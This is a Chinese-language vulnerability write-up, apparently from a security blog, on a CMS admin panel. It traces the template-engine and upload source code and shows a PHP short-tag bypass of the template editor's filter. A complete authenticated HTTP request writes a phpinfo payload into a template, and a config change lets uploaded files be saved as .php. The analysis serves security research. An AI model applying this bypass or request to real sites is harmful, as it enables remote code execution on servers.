漏洞描述
该漏洞源于Appcenter.php存在限制,但攻击者仍然可以通过绕过这些限制并以某种方式编写代码,使得经过身份验证的攻击者可以利用该漏洞执行任意命令
漏洞分析
绕过编辑模板限制,从而实现RCE这里可以修改模板文件,但是不能修改为php文件,可以修改html文件
看看主页是如何识别模板的
随便看一个show方法
public function show()
{
// 栏目ID
$catId = $this->request->param('catid','', 'intval');
// 栏目英文
$list = $this->request->param('catname','');
// 父级栏目
$catdir = $this->request->param('catdir','');
// 文章ID、或者别名
$id = $this->request->param('id', '', '');
// 模型
$model = $this->request->param('model', 0);
$key = $this->request->param('key','');
if (!is_numeric($catId) && empty($list) && !empty($catdir)) {
$catId = $catdir;
} else if (!is_numeric($catId) && !empty($list) && empty($catdir)) {
$catId = $list;
} else if (!is_numeric($catId) && !empty($list) && !empty($catdir)) {
$catId = $list;
}
if (empty($model) && !empty($catId)) {
$cateInfo = (new Category)->getCateInfo($catId);
if (empty($cateInfo)) {
$this->error(lang('The page doesn't exist.'));
}
$model = Model::where(['id'=>$cateInfo['model_id'],'status'=>'normal'])->find();
if (empty($model)) {
$this->error(lang('Model doesn't exist.'));
}
} else {
$model = Model::where(['status'=>'normal'])->where(function ($query) use ($model){
$query->where(['diyname'=>$model])->whereOr(['tablename'=>$model]);
})->cache(app()->isDebug()?false:'model')->find();
if (empty($model)) {
$this->error(lang('Model doesn't exist.'));
}
}
// 文章ID、别名
if (is_numeric($id)) {
$where = ['id'=>$id];
} else {
$where = ['diyname'=>$id];
}
$archives = new Archives();
if (!empty($key) && md5(app('session')->getId())==$key) { // 授权临时访问禁用的文章
$info = $archives->with(['category','model'])->where($where)->append(['publish_time_text','fullurl'])->find();
} else {
$info = $archives->with(['category','model'])->where($where)->where(['status'=>'normal'])->append(['publish_time_text','fullurl'])->find();
}
if (empty($info)) {
$this->error(lang('The document doesn't exist.'));
}
if (site('user_on') == 1 && isset($info['islogin']) && $info['islogin'] && !session('Member')) {
$this->error(__('Please log in and operate'), (string)url('/user.user/login'));
}
$info = $info->moreInfo();
$this->view->assign('__page__', $info['__page__']??null);
// 父级栏目矫正
if (!isset($cateInfo) || $cateInfo['id']!=$info['category_id']) {
$cateInfo = (new Category)->getCateInfo($info['category_id']);
}
Db::name('archives')->where(['id'=>$info['id']])->inc('views')->update();
$this->view->assign('Cate', $cateInfo);
$this->view->assign('Info', $info);
// seo 模型固定的默认字段 keywords description
$seo_title = empty($info['seotitle'])?$info['title']:$info['seotitle'];
$seo_title = str_replace(['$title','$name','$site'], [$seo_title,$cateInfo['title'],site("title")], site('content_format'));
$this->view->assign('seo_title', $seo_title);
$this->view->assign('seo_keywords', isset($info['keywords'])?$info['keywords']:$cateInfo['seo_keywords']);
$this->view->assign('seo_desc', isset($info['description'])?$info['description']:$cateInfo['seo_desc']);
$template = explode(".", $info['show_tpl'], 2);
return $this->view->fetch('show/'.$template[0]);
}
重点是最后的fetch函数,打个断点,调试一下发现,如果点进一个具体的商品界面渲染的是show_product.html继续跟进fetch函数
public function fetch(string $template = '', array $vars = []): string
{
return $this->getContent(function () use ($vars, $template) {
$this->engine()->fetch($template, array_merge($this->data, $vars));
});
}
跟进fetch函数
public function fetch(string $template, array $vars = []): void
{
if ($vars) {
$this->data = array_merge($this->data, $vars);
}
if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) {
// 读取渲染缓存
if ($this->cache->has($this->config['cache_id'])) {
echo $this->cache->get($this->config['cache_id']);
return;
}
}
$template = $this->parseTemplateFile($template);
if ($template) {
$cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_on'] . $this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.');
if (!$this->checkCache($cacheFile)) {
// 缓存无效 重新模板编译
$content = file_get_contents($template);
$this->compiler($content, $cacheFile);
}
// 页面缓存
ob_start();
if (PHP_VERSION > 8.0) {
ob_implicit_flush(false);
} else {
ob_implicit_flush(0);
}
// 读取编译存储
$this->storage->read($cacheFile, $this->data);
// 获取并清空缓存
$content = ob_get_clean();
if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) {
// 缓存页面输出
$this->cache->set($this->config['cache_id'], $content, $this->config['cache_time']);
}
echo $content;
}
}
发现只要我们修改了模板文件,就会重新缓存,触发file_get_contents函数,所以我们现在只要将模板文件内容修改为php代码,就可以实现RCE
看看修改模板文件的代码
public function editTheme()
{
$name = $this->request->param('name');
// $module = $this->request->param('module'); 暂时只支持前台
$type = $this->request->param('t');
if (empty($name)) {
$this->error(__('Parameter %s can not be empty',['name']));
}
if (!Validate::is($name, '/^[a-zA-Z][a-zA-Z0-9_]*$/')) {
$this->error(__('Illegal request'));
}
// 修改文件
if ($this->request->isPost()) {
// 路径
$path = $this->request->post('path','');
$old_path = $this->request->post('old_path','');
$path = !empty($path) ? str_replace(['.','//',"\\",'/','\','/'],'/', trim($path) . '/') : '/';
$old_path = !empty($old_path) ? str_replace(['.','//',"\\",'/','\','/'],'/', trim($old_path) . '/') : '/';
$fun = function ($path){
if (empty($path) || $path=='/') {
return false;
}
$pathArr = explode('/', rtrim(ltrim($path,'/'),'/'));
foreach ($pathArr as $key=>$value) {
if (!Validate::is($value, 'alphaDash')) {
$this->error(__('Illegal request'));
}
}
};
$fun($path);
$fun($old_path);
// 文件名
$filename = $this->request->post('filename');
$filename = !empty($filename) ? basename(trim($filename)) : '';
if (empty($filename)) {
$this->error(__('Parameter %s can not be empty',['']));
}
$pathinfo = pathinfo($path.$filename);
$tmp_filename = $pathinfo['filename'];
// 旧文件名
$old = $this->request->post('old','');
$old = basename($old);
if (!Validate::is($tmp_filename, '/^[A-Za-z0-9-_.]+$/') || (!empty($old) && !Validate::is(pathinfo($old_path.$old)['filename'], '/^[A-Za-z0-9-_.]+$/'))) {
$this->error(__('Incorrect file name format'));
}
// 内容
$content = $this->request->post('content','',null);
list($root, $static) = Cloud::getInstance()->getTemplatePath();
$root = $type=='tpl'?$root.$name:$static.$name;
if (!preg_match('#^'.(str_replace('\','/',$root.DIRECTORY_SEPARATOR)).'#i', str_replace('\','/', $root.$pathinfo['dirname'].DIRECTORY_SEPARATOR.$pathinfo['basename']))) {
$this->error(__('Permission denied'));
}
if (empty($pathinfo['extension']) || !in_array($pathinfo['extension'],['ini','html','json','js','css'])) {
$this->error(__('Permission denied'));
}
if (!empty($content) && $pathinfo['extension']=='html') {
// 限制html里面的php相关代码提交
if (preg_match('#<([^?]*)?php#i', $content) || (preg_match('#<?#i', $content) && preg_match('#?>#i', $content))
|| preg_match('#{php#i', $content)
|| preg_match('#{:phpinfo#i', $content)
) {
$this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));
}
}
$adapter = new LeagueFlysystemLocalLocalFilesystemAdapter($root.DIRECTORY_SEPARATOR);
$filesystem = new LeagueFlysystemFilesystem($adapter);
try {
$file = $path.$pathinfo['basename'];
if (!empty($old_path) && !empty($old)) { // 修改文件
if (!$filesystem->fileExists($old_path.$old)) {
throw new Exception(__('%s not exist',[$old_path.$old]));
}
if ($old==$filename && $old_path==$path) {
$filesystem->write($file, $content);
} else if ($old!=$filename && $old_path==$path) {
if ($filesystem->fileExists($file)) {
throw new Exception(__('%s existed',[$file]));
}
$filesystem->write($file, $content);
$filesystem->delete($old_path.$old);
} else {
if ($filesystem->fileExists($file)) {
throw new Exception(__('%s existed',[$file]));
}
$filesystem->write($file, $content);
$filesystem->delete($old_path.$old);
}
} else {
if ($filesystem->fileExists($file)) {
throw new Exception(__('%s existed',[$file]));
}
// 新建
$filesystem->write($file, $content);
}
} catch (Exception $exception) {
Log::error("修改模板文件异常:".$exception->getMessage());
$this->error($exception->getMessage());
}
$this->success('','');
}
$langs = [];
$langArr = [];
$lf = request()->param('lf','');
if ($type=='lang') {
list($path, $static) = Cloud::getInstance()->getTemplatePath();
$langDir = $static.$name.DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR;
$dataList = app()->make(LangService::class)->getListByModule('index');
if (is_dir($langDir)) {
foreach ($dataList as $value) {
if (!is_file($langDir.$value['mark'].'.json')) {
file_put_contents($langDir.$value['mark'].'.json', "{}");
}
$langs[] = $value['mark'].'.json';
}
}
$langArr = !empty($langs) ? json_decode(file_get_contents($langDir.($lf && in_array($lf,$langs)?$lf:$langs[0])),true) : [];
}
$this->view->assign('name',$name);
$this->view->assign('type',$type);
$this->view->assign('langs',$langs);
$this->view->assign('langArr',$langArr);
$this->view->assign('curLf',$lf);
$this->view->assign('template','/template/index/'.$name.'/');
return $this->view->fetch();
}
其中存在的过滤
if (!empty($content) && $pathinfo['extension']=='html') {
// 限制html里面的php相关代码提交
if (preg_match('#<([^?]*)?php#i', $content) || (preg_match('#<?#i', $content) && preg_match('#?>#i', $content))
|| preg_match('#{php#i', $content)
|| preg_match('#{:phpinfo#i', $content)
) {
$this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));
}
}
可以使用php短标签绕过
POST /admin.php/appcenter/editTheme.html HTTP/1.1
Host: 127.0.0.1
Sec-Fetch-Site: same-origin
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
X-Requested-With: XMLHttpRequest
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_hkcms_lang=zh-cn; HKCMSSESSID=782e7fb254634e9af27235e16ab1dec1
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
name=default&t=tpl&old=show_product.html&old_path=%2Fshow&path=%2Fshow&filename=show_product.html&content=%3C%3F%3D+phpinfo()%3B%0D%0A&__token__=dc7587409140c54150e9c3245c4503eb
然后就可以去对应的渲染的页面
http://127.0.0.1/index.php/index/show?id=62&catname=wc
调试一下禁止目录穿越
成功绕过判断
随后就是write文件
文件上传漏洞
修改站点配置将上传的文件名都改为1.php看看upload的代码
public function upload($files)
{
$add = [];
$infos = [];
foreach ($files as $key=>$value) {
$tmpExt = $value->getOriginalExtension();
$sExt = explode(',',config('cms.script_ext'));
if (in_array($tmpExt, $sExt)) {
throw new UploadException(__('Do not allow uploading of script files'));
}
validate(
[
'files' => [
// 限制文件大小(单位b)
'fileSize' => $this->config['file_size'],
// 限制文件后缀,多个后缀以英文逗号分割
'fileExt' => $this->config['file_type']
]
],
[
'files.fileSize' => __('File cannot exceed %s', [($this->config['file_size']/1024/1024).'MB']),
'files.fileExt' => __('Unsupported file suffix'),
]
)->check(['files'=>$value]);
$name = $this->getFileName($value);
$value->move(dirname(public_path().$name), $name);
$fileInfo = new File(public_path().$name);
$md5 = $fileInfo->md5();
$size = $fileInfo->getsize();
if (Validate::is($value->getOriginalMime(), '/^image//') && $this->water(public_path().$name)) { // 生成水印成功后,获取新的路径
$fileInfo = new File(public_path().$name);
$name = $this->getFileName($fileInfo);
$md5 = $fileInfo->md5();
$size = $fileInfo->getsize();
$fileInfo->move(dirname(public_path().$name), $name);
}
//$path = app()->filesystem->disk('public')->putFile('', $value, function ($file) use($name) {
// return str_replace('.'.$file->getOriginalExtension(), '', $name);
//});
//if (!$path) {
// throw new UploadException(__('File save failed'));
//}
$attr = Attachment::where(['path'=>$name,'storage'=>'local'])->find();
if ($attr) {
$attr = $attr->toArray();
$attr['cdn_url'] = cdn_url($attr['path'], true);
$infos[] = $attr;
} else {
$temp['title'] = Str::substr($value->getOriginalName(), 0, 40);
$temp['md5'] = $md5;
$temp['mime_type'] = $value->getOriginalMime();
$temp['ext'] = $value->getOriginalExtension();
$temp['size'] = $size;
$temp['storage'] = $this->config['storage'];
$temp['path'] = $name;
$temp['user_type'] = $this->config['user_type'];
$temp['user_id'] = $this->config['user_id']; // 后台用户
$temp['cdn_url'] = cdn_url($name, true);
$add[] = $temp;
$infos[] = $temp;
}
}
// 缩略图
$this->thumb($infos);
if (!empty($add)) {
$bl = (new appadminmodelroutineAttachment)->saveAll($add);
if (!$bl) {
throw new UploadException(__('No rows added'));
}
}
// 上传文件后的标签位
hook('uploadAfter', $infos);
return $infos;
}
上传后的文件后缀以config为主上传成功,但是访问时发现
这是因为在upload文件夹里有一个.htaccess文件
<FilesMatch .(?i:html|php)$>
Order allow,deny
Deny from all
</FilesMatch>
意思是禁止访问所有 .html
和 .php
文件,即 无论谁访问这些文件,都会被拒绝于是将配置修改为成功访问
原文始发于微信公众号(船山信安):某cms的漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论